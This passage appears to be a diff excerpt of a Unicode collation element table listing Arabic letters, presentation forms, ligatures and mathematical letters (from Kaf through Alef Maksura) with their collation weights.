+FCC6  ; [.2387.0020.0017][.232D.0020.0017] # ARABIC LIGATURE KAF WITH KHAH INITIAL FORM
+FC3A  ; [.2387.0020.001A][.232D.0020.001A] # ARABIC LIGATURE KAF WITH KHAH ISOLATED FORM
+FCC7  ; [.2387.0020.0017][.239C.0020.0017] # ARABIC LIGATURE KAF WITH LAM INITIAL FORM
+FCEB  ; [.2387.0020.0018][.239C.0020.0018] # ARABIC LIGATURE KAF WITH LAM MEDIAL FORM
+FC81  ; [.2387.0020.0019][.239C.0020.0019] # ARABIC LIGATURE KAF WITH LAM FINAL FORM
+FC3B  ; [.2387.0020.001A][.239C.0020.001A] # ARABIC LIGATURE KAF WITH LAM ISOLATED FORM
+FCC8  ; [.2387.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE KAF WITH MEEM INITIAL FORM
+FCEC  ; [.2387.0020.0018][.23A3.0020.0018] # ARABIC LIGATURE KAF WITH MEEM MEDIAL FORM
+FC82  ; [.2387.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE KAF WITH MEEM FINAL FORM
+FC3C  ; [.2387.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE KAF WITH MEEM ISOLATED FORM
+FDC3  ; [.2387.0020.0017][.23A3.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE KAF WITH MEEM WITH MEEM INITIAL FORM
+FDBB  ; [.2387.0020.0019][.23A3.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE KAF WITH MEEM WITH MEEM FINAL FORM
+FDB7  ; [.2387.0020.0019][.23A3.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE KAF WITH MEEM WITH YEH FINAL FORM
+FC83  ; [.2387.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE KAF WITH ALEF MAKSURA FINAL FORM
+FC3D  ; [.2387.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE KAF WITH ALEF MAKSURA ISOLATED FORM
+FC84  ; [.2387.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE KAF WITH YEH FINAL FORM
+FC3E  ; [.2387.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE KAF WITH YEH ISOLATED FORM
+06A9  ; [.2388.0020.0002] # ARABIC LETTER KEHEH
+FB90  ; [.2388.0020.0017] # ARABIC LETTER KEHEH INITIAL FORM
+FB91  ; [.2388.0020.0018] # ARABIC LETTER KEHEH MEDIAL FORM
+FB8F  ; [.2388.0020.0019] # ARABIC LETTER KEHEH FINAL FORM
+FB8E  ; [.2388.0020.001A] # ARABIC LETTER KEHEH ISOLATED FORM
+06AA  ; [.2389.0020.0002] # ARABIC LETTER SWASH KAF
+06AB  ; [.238A.0020.0002] # ARABIC LETTER KAF WITH RING
+06AC  ; [.238B.0020.0002] # ARABIC LETTER KAF WITH DOT ABOVE
+077F  ; [.238C.0020.0002] # ARABIC LETTER KAF WITH TWO DOTS ABOVE
+06AD  ; [.238D.0020.0002] # ARABIC LETTER NG
+FBD5  ; [.238D.0020.0017] # ARABIC LETTER NG INITIAL FORM
+FBD6  ; [.238D.0020.0018] # ARABIC LETTER NG MEDIAL FORM
+FBD4  ; [.238D.0020.0019] # ARABIC LETTER NG FINAL FORM
+FBD3  ; [.238D.0020.001A] # ARABIC LETTER NG ISOLATED FORM
+06AE  ; [.238E.0020.0002] # ARABIC LETTER KAF WITH THREE DOTS BELOW
+08B4  ; [.238F.0020.0002] # ARABIC LETTER KAF WITH DOT BELOW
+06AF  ; [.2390.0020.0002] # ARABIC LETTER GAF
+FB94  ; [.2390.0020.0017] # ARABIC LETTER GAF INITIAL FORM
+FB95  ; [.2390.0020.0018] # ARABIC LETTER GAF MEDIAL FORM
+FB93  ; [.2390.0020.0019] # ARABIC LETTER GAF FINAL FORM
+FB92  ; [.2390.0020.001A] # ARABIC LETTER GAF ISOLATED FORM
+08B0  ; [.2391.0020.0002] # ARABIC LETTER GAF WITH INVERTED STROKE
+06B0  ; [.2392.0020.0002] # ARABIC LETTER GAF WITH RING
+06B1  ; [.2393.0020.0002] # ARABIC LETTER NGOEH
+FB9C  ; [.2393.0020.0017] # ARABIC LETTER NGOEH INITIAL FORM
+FB9D  ; [.2393.0020.0018] # ARABIC LETTER NGOEH MEDIAL FORM
+FB9B  ; [.2393.0020.0019] # ARABIC LETTER NGOEH FINAL FORM
+FB9A  ; [.2393.0020.001A] # ARABIC LETTER NGOEH ISOLATED FORM
+06B2  ; [.2394.0020.0002] # ARABIC LETTER GAF WITH TWO DOTS BELOW
+06B3  ; [.2395.0020.0002] # ARABIC LETTER GUEH
+FB98  ; [.2395.0020.0017] # ARABIC LETTER GUEH INITIAL FORM
+FB99  ; [.2395.0020.0018] # ARABIC LETTER GUEH MEDIAL FORM
+FB97  ; [.2395.0020.0019] # ARABIC LETTER GUEH FINAL FORM
+FB96  ; [.2395.0020.001A] # ARABIC LETTER GUEH ISOLATED FORM
+06B4  ; [.2396.0020.0002] # ARABIC LETTER GAF WITH THREE DOTS ABOVE
+0762  ; [.2397.0020.0002] # ARABIC LETTER KEHEH WITH DOT ABOVE
+063B  ; [.2398.0020.0002] # ARABIC LETTER KEHEH WITH TWO DOTS ABOVE
+063C  ; [.2399.0020.0002] # ARABIC LETTER KEHEH WITH THREE DOTS BELOW
+0763  ; [.239A.0020.0002] # ARABIC LETTER KEHEH WITH THREE DOTS ABOVE
+0764  ; [.239B.0020.0002] # ARABIC LETTER KEHEH WITH THREE DOTS POINTING UPWARDS BELOW
+0644  ; [.239C.0020.0002] # ARABIC LETTER LAM
+1EE0B ; [.239C.0020.0005] # ARABIC MATHEMATICAL LAM
+1EE2B ; [.239C.0020.0005] # ARABIC MATHEMATICAL INITIAL LAM
+1EE4B ; [.239C.0020.0005] # ARABIC MATHEMATICAL TAILED LAM
+1EE8B ; [.239C.0020.0005] # ARABIC MATHEMATICAL LOOPED LAM
+1EEAB ; [.239C.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK LAM
+FEDF  ; [.239C.0020.0017] # ARABIC LETTER LAM INITIAL FORM
+FEE0  ; [.239C.0020.0018] # ARABIC LETTER LAM MEDIAL FORM
+FEDE  ; [.239C.0020.0019] # ARABIC LETTER LAM FINAL FORM
+FEDD  ; [.239C.0020.001A] # ARABIC LETTER LAM ISOLATED FORM
+FEF6  ; [.239C.0020.0019][.22FE.0020.0019] # ARABIC LIGATURE LAM WITH ALEF WITH MADDA ABOVE FINAL FORM
+FEF5  ; [.239C.0020.001A][.22FE.0020.001A] # ARABIC LIGATURE LAM WITH ALEF WITH MADDA ABOVE ISOLATED FORM
+FEF8  ; [.239C.0020.0019][.22FF.0020.0019] # ARABIC LIGATURE LAM WITH ALEF WITH HAMZA ABOVE FINAL FORM
+FEF7  ; [.239C.0020.001A][.22FF.0020.001A] # ARABIC LIGATURE LAM WITH ALEF WITH HAMZA ABOVE ISOLATED FORM
+FEFA  ; [.239C.0020.0019][.2303.0020.0019] # ARABIC LIGATURE LAM WITH ALEF WITH HAMZA BELOW FINAL FORM
+FEF9  ; [.239C.0020.001A][.2303.0020.001A] # ARABIC LIGATURE LAM WITH ALEF WITH HAMZA BELOW ISOLATED FORM
+FEFC  ; [.239C.0020.0019][.230B.0020.0019] # ARABIC LIGATURE LAM WITH ALEF FINAL FORM
+FEFB  ; [.239C.0020.001A][.230B.0020.001A] # ARABIC LIGATURE LAM WITH ALEF ISOLATED FORM
+FCC9  ; [.239C.0020.0017][.2325.0020.0017] # ARABIC LIGATURE LAM WITH JEEM INITIAL FORM
+FC3F  ; [.239C.0020.001A][.2325.0020.001A] # ARABIC LIGATURE LAM WITH JEEM ISOLATED FORM
+FD83  ; [.239C.0020.0017][.2325.0020.0017][.2325.0020.0017] # ARABIC LIGATURE LAM WITH JEEM WITH JEEM INITIAL FORM
+FD84  ; [.239C.0020.0019][.2325.0020.0019][.2325.0020.0019] # ARABIC LIGATURE LAM WITH JEEM WITH JEEM FINAL FORM
+FDBA  ; [.239C.0020.0017][.2325.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE LAM WITH JEEM WITH MEEM INITIAL FORM
+FDBC  ; [.239C.0020.0019][.2325.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE LAM WITH JEEM WITH MEEM FINAL FORM
+FDAC  ; [.239C.0020.0019][.2325.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE LAM WITH JEEM WITH YEH FINAL FORM
+FCCA  ; [.239C.0020.0017][.232C.0020.0017] # ARABIC LIGATURE LAM WITH HAH INITIAL FORM
+FC40  ; [.239C.0020.001A][.232C.0020.001A] # ARABIC LIGATURE LAM WITH HAH ISOLATED FORM
+FDB5  ; [.239C.0020.0017][.232C.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE LAM WITH HAH WITH MEEM INITIAL FORM
+FD80  ; [.239C.0020.0019][.232C.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE LAM WITH HAH WITH MEEM FINAL FORM
+FD82  ; [.239C.0020.0019][.232C.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE LAM WITH HAH WITH ALEF MAKSURA FINAL FORM
+FD81  ; [.239C.0020.0019][.232C.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE LAM WITH HAH WITH YEH FINAL FORM
+FCCB  ; [.239C.0020.0017][.232D.0020.0017] # ARABIC LIGATURE LAM WITH KHAH INITIAL FORM
+FC41  ; [.239C.0020.001A][.232D.0020.001A] # ARABIC LIGATURE LAM WITH KHAH ISOLATED FORM
+FD86  ; [.239C.0020.0017][.232D.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE LAM WITH KHAH WITH MEEM INITIAL FORM
+FD85  ; [.239C.0020.0019][.232D.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE LAM WITH KHAH WITH MEEM FINAL FORM
+FCCC  ; [.239C.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE LAM WITH MEEM INITIAL FORM
+FCED  ; [.239C.0020.0018][.23A3.0020.0018] # ARABIC LIGATURE LAM WITH MEEM MEDIAL FORM
+FC85  ; [.239C.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE LAM WITH MEEM FINAL FORM
+FC42  ; [.239C.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE LAM WITH MEEM ISOLATED FORM
+FD88  ; [.239C.0020.0017][.23A3.0020.0017][.232C.0020.0017] # ARABIC LIGATURE LAM WITH MEEM WITH HAH INITIAL FORM
+FD87  ; [.239C.0020.0019][.23A3.0020.0019][.232C.0020.0019] # ARABIC LIGATURE LAM WITH MEEM WITH HAH FINAL FORM
+FDAD  ; [.239C.0020.0019][.23A3.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE LAM WITH MEEM WITH YEH FINAL FORM
+FCCD  ; [.239C.0020.0017][.23B1.0020.0017] # ARABIC LIGATURE LAM WITH HEH INITIAL FORM
+FC86  ; [.239C.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE LAM WITH ALEF MAKSURA FINAL FORM
+FC43  ; [.239C.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE LAM WITH ALEF MAKSURA ISOLATED FORM
+FC87  ; [.239C.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE LAM WITH YEH FINAL FORM
+FC44  ; [.239C.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE LAM WITH YEH ISOLATED FORM
+06B5  ; [.239D.0020.0002] # ARABIC LETTER LAM WITH SMALL V
+06B6  ; [.239E.0020.0002] # ARABIC LETTER LAM WITH DOT ABOVE
+06B7  ; [.239F.0020.0002] # ARABIC LETTER LAM WITH THREE DOTS ABOVE
+06B8  ; [.23A0.0020.0002] # ARABIC LETTER LAM WITH THREE DOTS BELOW
+076A  ; [.23A1.0020.0002] # ARABIC LETTER LAM WITH BAR
+08A6  ; [.23A2.0020.0002] # ARABIC LETTER LAM WITH DOUBLE BAR
+0645  ; [.23A3.0020.0002] # ARABIC LETTER MEEM
+1EE0C ; [.23A3.0020.0005] # ARABIC MATHEMATICAL MEEM
+1EE2C ; [.23A3.0020.0005] # ARABIC MATHEMATICAL INITIAL MEEM
+1EE6C ; [.23A3.0020.0005] # ARABIC MATHEMATICAL STRETCHED MEEM
+1EE8C ; [.23A3.0020.0005] # ARABIC MATHEMATICAL LOOPED MEEM
+1EEAC ; [.23A3.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK MEEM
+FEE3  ; [.23A3.0020.0017] # ARABIC LETTER MEEM INITIAL FORM
+FEE4  ; [.23A3.0020.0018] # ARABIC LETTER MEEM MEDIAL FORM
+FEE2  ; [.23A3.0020.0019] # ARABIC LETTER MEEM FINAL FORM
+FEE1  ; [.23A3.0020.001A] # ARABIC LETTER MEEM ISOLATED FORM
+06FE  ; [.23A3.0020.0004][.0000.0111.0004] # ARABIC SIGN SINDHI POSTPOSITION MEN
+FC88  ; [.23A3.0020.0019][.230B.0020.0019] # ARABIC LIGATURE MEEM WITH ALEF FINAL FORM
+FCCE  ; [.23A3.0020.0017][.2325.0020.0017] # ARABIC LIGATURE MEEM WITH JEEM INITIAL FORM
+FC45  ; [.23A3.0020.001A][.2325.0020.001A] # ARABIC LIGATURE MEEM WITH JEEM ISOLATED FORM
+FD8C  ; [.23A3.0020.0017][.2325.0020.0017][.232C.0020.0017] # ARABIC LIGATURE MEEM WITH JEEM WITH HAH INITIAL FORM
+FD92  ; [.23A3.0020.0017][.2325.0020.0017][.232D.0020.0017] # ARABIC LIGATURE MEEM WITH JEEM WITH KHAH INITIAL FORM
+FD8D  ; [.23A3.0020.0017][.2325.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE MEEM WITH JEEM WITH MEEM INITIAL FORM
+FDC0  ; [.23A3.0020.0019][.2325.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE MEEM WITH JEEM WITH YEH FINAL FORM
+FCCF  ; [.23A3.0020.0017][.232C.0020.0017] # ARABIC LIGATURE MEEM WITH HAH INITIAL FORM
+FC46  ; [.23A3.0020.001A][.232C.0020.001A] # ARABIC LIGATURE MEEM WITH HAH ISOLATED FORM
+FD89  ; [.23A3.0020.0017][.232C.0020.0017][.2325.0020.0017] # ARABIC LIGATURE MEEM WITH HAH WITH JEEM INITIAL FORM
+FD8A  ; [.23A3.0020.0017][.232C.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE MEEM WITH HAH WITH MEEM INITIAL FORM
+FDF4  ; [.23A3.0020.001A][.232C.0020.001A][.23A3.0020.001A][.2337.0020.001A] # ARABIC LIGATURE MOHAMMAD ISOLATED FORM
+FD8B  ; [.23A3.0020.0019][.232C.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE MEEM WITH HAH WITH YEH FINAL FORM
+FCD0  ; [.23A3.0020.0017][.232D.0020.0017] # ARABIC LIGATURE MEEM WITH KHAH INITIAL FORM
+FC47  ; [.23A3.0020.001A][.232D.0020.001A] # ARABIC LIGATURE MEEM WITH KHAH ISOLATED FORM
+FD8E  ; [.23A3.0020.0017][.232D.0020.0017][.2325.0020.0017] # ARABIC LIGATURE MEEM WITH KHAH WITH JEEM INITIAL FORM
+FD8F  ; [.23A3.0020.0017][.232D.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE MEEM WITH KHAH WITH MEEM INITIAL FORM
+FDB9  ; [.23A3.0020.0019][.232D.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE MEEM WITH KHAH WITH YEH FINAL FORM
+FCD1  ; [.23A3.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE MEEM WITH MEEM INITIAL FORM
+FC89  ; [.23A3.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE MEEM WITH MEEM FINAL FORM
+FC48  ; [.23A3.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE MEEM WITH MEEM ISOLATED FORM
+FDB1  ; [.23A3.0020.0019][.23A3.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE MEEM WITH MEEM WITH YEH FINAL FORM
+FC49  ; [.23A3.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE MEEM WITH ALEF MAKSURA ISOLATED FORM
+FC4A  ; [.23A3.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE MEEM WITH YEH ISOLATED FORM
+0765  ; [.23A4.0020.0002] # ARABIC LETTER MEEM WITH DOT ABOVE
+0766  ; [.23A5.0020.0002] # ARABIC LETTER MEEM WITH DOT BELOW
+08A7  ; [.23A6.0020.0002] # ARABIC LETTER MEEM WITH THREE DOTS ABOVE
+0646  ; [.23A7.0020.0002] # ARABIC LETTER NOON
+1EE0D ; [.23A7.0020.0005] # ARABIC MATHEMATICAL NOON
+1EE2D ; [.23A7.0020.0005] # ARABIC MATHEMATICAL INITIAL NOON
+1EE4D ; [.23A7.0020.0005] # ARABIC MATHEMATICAL TAILED NOON
+1EE6D ; [.23A7.0020.0005] # ARABIC MATHEMATICAL STRETCHED NOON
+1EE8D ; [.23A7.0020.0005] # ARABIC MATHEMATICAL LOOPED NOON
+1EEAD ; [.23A7.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK NOON
+FEE7  ; [.23A7.0020.0017] # ARABIC LETTER NOON INITIAL FORM
+FEE8  ; [.23A7.0020.0018] # ARABIC LETTER NOON MEDIAL FORM
+FEE6  ; [.23A7.0020.0019] # ARABIC LETTER NOON FINAL FORM
+FEE5  ; [.23A7.0020.001A] # ARABIC LETTER NOON ISOLATED FORM
+FCD2  ; [.23A7.0020.0017][.2325.0020.0017] # ARABIC LIGATURE NOON WITH JEEM INITIAL FORM
+FC4B  ; [.23A7.0020.001A][.2325.0020.001A] # ARABIC LIGATURE NOON WITH JEEM ISOLATED FORM
+FDB8  ; [.23A7.0020.0017][.2325.0020.0017][.232C.0020.0017] # ARABIC LIGATURE NOON WITH JEEM WITH HAH INITIAL FORM
+FDBD  ; [.23A7.0020.0019][.2325.0020.0019][.232C.0020.0019] # ARABIC LIGATURE NOON WITH JEEM WITH HAH FINAL FORM
+FD98  ; [.23A7.0020.0017][.2325.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE NOON WITH JEEM WITH MEEM INITIAL FORM
+FD97  ; [.23A7.0020.0019][.2325.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE NOON WITH JEEM WITH MEEM FINAL FORM
+FD99  ; [.23A7.0020.0019][.2325.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE NOON WITH JEEM WITH ALEF MAKSURA FINAL FORM
+FDC7  ; [.23A7.0020.0019][.2325.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE NOON WITH JEEM WITH YEH FINAL FORM
+FCD3  ; [.23A7.0020.0017][.232C.0020.0017] # ARABIC LIGATURE NOON WITH HAH INITIAL FORM
+FC4C  ; [.23A7.0020.001A][.232C.0020.001A] # ARABIC LIGATURE NOON WITH HAH ISOLATED FORM
+FD95  ; [.23A7.0020.0017][.232C.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE NOON WITH HAH WITH MEEM INITIAL FORM
+FD96  ; [.23A7.0020.0019][.232C.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE NOON WITH HAH WITH ALEF MAKSURA FINAL FORM
+FDB3  ; [.23A7.0020.0019][.232C.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE NOON WITH HAH WITH YEH FINAL FORM
+FCD4  ; [.23A7.0020.0017][.232D.0020.0017] # ARABIC LIGATURE NOON WITH KHAH INITIAL FORM
+FC4D  ; [.23A7.0020.001A][.232D.0020.001A] # ARABIC LIGATURE NOON WITH KHAH ISOLATED FORM
+FC8A  ; [.23A7.0020.0019][.2346.0020.0019] # ARABIC LIGATURE NOON WITH REH FINAL FORM
+FC8B  ; [.23A7.0020.0019][.2347.0020.0019] # ARABIC LIGATURE NOON WITH ZAIN FINAL FORM
+FCD5  ; [.23A7.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE NOON WITH MEEM INITIAL FORM
+FCEE  ; [.23A7.0020.0018][.23A3.0020.0018] # ARABIC LIGATURE NOON WITH MEEM MEDIAL FORM
+FC8C  ; [.23A7.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE NOON WITH MEEM FINAL FORM
+FC4E  ; [.23A7.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE NOON WITH MEEM ISOLATED FORM
+FD9B  ; [.23A7.0020.0019][.23A3.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE NOON WITH MEEM WITH ALEF MAKSURA FINAL FORM
+FD9A  ; [.23A7.0020.0019][.23A3.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE NOON WITH MEEM WITH YEH FINAL FORM
+FC8D  ; [.23A7.0020.0019][.23A7.0020.0019] # ARABIC LIGATURE NOON WITH NOON FINAL FORM
+FCD6  ; [.23A7.0020.0017][.23B1.0020.0017] # ARABIC LIGATURE NOON WITH HEH INITIAL FORM
+FCEF  ; [.23A7.0020.0018][.23B1.0020.0018] # ARABIC LIGATURE NOON WITH HEH MEDIAL FORM
+FC8E  ; [.23A7.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE NOON WITH ALEF MAKSURA FINAL FORM
+FC4F  ; [.23A7.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE NOON WITH ALEF MAKSURA ISOLATED FORM
+FC8F  ; [.23A7.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE NOON WITH YEH FINAL FORM
+FC50  ; [.23A7.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE NOON WITH YEH ISOLATED FORM
+06BA  ; [.23A8.0020.0002] # ARABIC LETTER NOON GHUNNA
+1EE1D ; [.23A8.0020.0005] # ARABIC MATHEMATICAL DOTLESS NOON
+1EE5D ; [.23A8.0020.0005] # ARABIC MATHEMATICAL TAILED DOTLESS NOON
+FB9F  ; [.23A8.0020.0019] # ARABIC LETTER NOON GHUNNA FINAL FORM
+FB9E  ; [.23A8.0020.001A] # ARABIC LETTER NOON GHUNNA ISOLATED FORM
+08BD  ; [.23A9.0020.0002] # ARABIC LETTER AFRICAN NOON
+06BB  ; [.23AA.0020.0002] # ARABIC LETTER RNOON
+FBA2  ; [.23AA.0020.0017] # ARABIC LETTER RNOON INITIAL FORM
+FBA3  ; [.23AA.0020.0018] # ARABIC LETTER RNOON MEDIAL FORM
+FBA1  ; [.23AA.0020.0019] # ARABIC LETTER RNOON FINAL FORM
+FBA0  ; [.23AA.0020.001A] # ARABIC LETTER RNOON ISOLATED FORM
+06BC  ; [.23AB.0020.0002] # ARABIC LETTER NOON WITH RING
+06BD  ; [.23AC.0020.0002] # ARABIC LETTER NOON WITH THREE DOTS ABOVE
+06B9  ; [.23AD.0020.0002] # ARABIC LETTER NOON WITH DOT BELOW
+0767  ; [.23AE.0020.0002] # ARABIC LETTER NOON WITH TWO DOTS BELOW
+0768  ; [.23AF.0020.0002] # ARABIC LETTER NOON WITH SMALL TAH
+0769  ; [.23B0.0020.0002] # ARABIC LETTER NOON WITH SMALL V
+0647  ; [.23B1.0020.0002] # ARABIC LETTER HEH
+1EE24 ; [.23B1.0020.0005] # ARABIC MATHEMATICAL INITIAL HEH
+1EE64 ; [.23B1.0020.0005] # ARABIC MATHEMATICAL STRETCHED HEH
+1EE84 ; [.23B1.0020.0005] # ARABIC MATHEMATICAL LOOPED HEH
+FEEB  ; [.23B1.0020.0017] # ARABIC LETTER HEH INITIAL FORM
+FEEC  ; [.23B1.0020.0018] # ARABIC LETTER HEH MEDIAL FORM
+FEEA  ; [.23B1.0020.0019] # ARABIC LETTER HEH FINAL FORM
+FEE9  ; [.23B1.0020.001A] # ARABIC LETTER HEH ISOLATED FORM
+FCD9  ; [.23B1.0020.0017][.0000.0098.0017] # ARABIC LIGATURE HEH WITH SUPERSCRIPT ALEF INITIAL FORM
+FCD7  ; [.23B1.0020.0017][.2325.0020.0017] # ARABIC LIGATURE HEH WITH JEEM INITIAL FORM
+FC51  ; [.23B1.0020.001A][.2325.0020.001A] # ARABIC LIGATURE HEH WITH JEEM ISOLATED FORM
+FCD8  ; [.23B1.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE HEH WITH MEEM INITIAL FORM
+FC52  ; [.23B1.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE HEH WITH MEEM ISOLATED FORM
+FD93  ; [.23B1.0020.0017][.23A3.0020.0017][.2325.0020.0017] # ARABIC LIGATURE HEH WITH MEEM WITH JEEM INITIAL FORM
+FD94  ; [.23B1.0020.0017][.23A3.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE HEH WITH MEEM WITH MEEM INITIAL FORM
+FC53  ; [.23B1.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE HEH WITH ALEF MAKSURA ISOLATED FORM
+FC54  ; [.23B1.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE HEH WITH YEH ISOLATED FORM
+06BE  ; [.23B2.0020.0002] # ARABIC LETTER HEH DOACHASHMEE
+FBAC  ; [.23B2.0020.0017] # ARABIC LETTER HEH DOACHASHMEE INITIAL FORM
+FBAD  ; [.23B2.0020.0018] # ARABIC LETTER HEH DOACHASHMEE MEDIAL FORM
+FBAB  ; [.23B2.0020.0019] # ARABIC LETTER HEH DOACHASHMEE FINAL FORM
+FBAA  ; [.23B2.0020.001A] # ARABIC LETTER HEH DOACHASHMEE ISOLATED FORM
+06C1  ; [.23B3.0020.0002] # ARABIC LETTER HEH GOAL
+FBA8  ; [.23B3.0020.0017] # ARABIC LETTER HEH GOAL INITIAL FORM
+FBA9  ; [.23B3.0020.0018] # ARABIC LETTER HEH GOAL MEDIAL FORM
+FBA7  ; [.23B3.0020.0019] # ARABIC LETTER HEH GOAL FINAL FORM
+FBA6  ; [.23B3.0020.001A] # ARABIC LETTER HEH GOAL ISOLATED FORM
+06C2  ; [.23B3.0020.0002][.0000.0083.0002] # ARABIC LETTER HEH GOAL WITH HAMZA ABOVE
+06C3  ; [.23B4.0020.0002] # ARABIC LETTER TEH MARBUTA GOAL
+06FF  ; [.23B5.0020.0002] # ARABIC LETTER HEH WITH INVERTED V
+06D5  ; [.23B6.0020.0002] # ARABIC LETTER AE
+06C0  ; [.23B6.0020.0002][.0000.0083.0002] # ARABIC LETTER HEH WITH YEH ABOVE
+FBA5  ; [.23B6.0020.0019][.0000.0083.0019] # ARABIC LETTER HEH WITH YEH ABOVE FINAL FORM
+FBA4  ; [.23B6.0020.001A][.0000.0083.001A] # ARABIC LETTER HEH WITH YEH ABOVE ISOLATED FORM
+0648  ; [.23B7.0020.0002] # ARABIC LETTER WAW
+06E5  ; [.23B7.0020.0004] # ARABIC SMALL WAW
+1EE05 ; [.23B7.0020.0005] # ARABIC MATHEMATICAL WAW
+1EE85 ; [.23B7.0020.0005] # ARABIC MATHEMATICAL LOOPED WAW
+1EEA5 ; [.23B7.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK WAW
+FEEE  ; [.23B7.0020.0019] # ARABIC LETTER WAW FINAL FORM
+FEED  ; [.23B7.0020.001A] # ARABIC LETTER WAW ISOLATED FORM
+0676  ; [.23B7.0020.0004][.22FD.0020.0004] # ARABIC LETTER HIGH HAMZA WAW
+FDF8  ; [.23B7.0020.001A][.2359.0020.001A][.239C.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE WASALLAM ISOLATED FORM
+06C4  ; [.23B8.0020.0002] # ARABIC LETTER WAW WITH RING
+06C5  ; [.23B9.0020.0002] # ARABIC LETTER KIRGHIZ OE
+FBE1  ; [.23B9.0020.0019] # ARABIC LETTER KIRGHIZ OE FINAL FORM
+FBE0  ; [.23B9.0020.001A] # ARABIC LETTER KIRGHIZ OE ISOLATED FORM
+06C6  ; [.23BA.0020.0002] # ARABIC LETTER OE
+FBDA  ; [.23BA.0020.0019] # ARABIC LETTER OE FINAL FORM
+FBD9  ; [.23BA.0020.001A] # ARABIC LETTER OE ISOLATED FORM
+06C7  ; [.23BB.0020.0002] # ARABIC LETTER U
+FBD8  ; [.23BB.0020.0019] # ARABIC LETTER U FINAL FORM
+FBD7  ; [.23BB.0020.001A] # ARABIC LETTER U ISOLATED FORM
+0677  ; [.23BB.0020.0004][.22FD.0020.0004] # ARABIC LETTER U WITH HAMZA ABOVE
+FBDD  ; [.23BB.0020.001A][.22FD.0020.001A] # ARABIC LETTER U WITH HAMZA ABOVE ISOLATED FORM
+06C8  ; [.23BC.0020.0002] # ARABIC LETTER YU
+FBDC  ; [.23BC.0020.0019] # ARABIC LETTER YU FINAL FORM
+FBDB  ; [.23BC.0020.001A] # ARABIC LETTER YU ISOLATED FORM
+06C9  ; [.23BD.0020.0002] # ARABIC LETTER KIRGHIZ YU
+FBE3  ; [.23BD.0020.0019] # ARABIC LETTER KIRGHIZ YU FINAL FORM
+FBE2  ; [.23BD.0020.001A] # ARABIC LETTER KIRGHIZ YU ISOLATED FORM
+06CA  ; [.23BE.0020.0002] # ARABIC LETTER WAW WITH TWO DOTS ABOVE
+06CB  ; [.23BF.0020.0002] # ARABIC LETTER VE
+FBDF  ; [.23BF.0020.0019] # ARABIC LETTER VE FINAL FORM
+FBDE  ; [.23BF.0020.001A] # ARABIC LETTER VE ISOLATED FORM
+08B1  ; [.23C0.0020.0002] # ARABIC LETTER STRAIGHT WAW
+06CF  ; [.23C1.0020.0002] # ARABIC LETTER WAW WITH DOT ABOVE
+0778  ; [.23C2.0020.0002] # ARABIC LETTER WAW WITH EXTENDED ARABIC-INDIC DIGIT TWO ABOVE
+0779  ; [.23C3.0020.0002] # ARABIC LETTER WAW WITH EXTENDED ARABIC-INDIC DIGIT THREE ABOVE
+08AB  ; [.23C4.0020.0002] # ARABIC LETTER WAW WITH DOT WITHIN
+0649  ; [.23C5.0020.0002] # ARABIC LETTER ALEF MAKSURA
+FBE8  ; [.23C5.0020.0017] # ARABIC LETTER UIGHUR KAZAKH KIRGHIZ ALEF MAKSURA INITIAL FORM
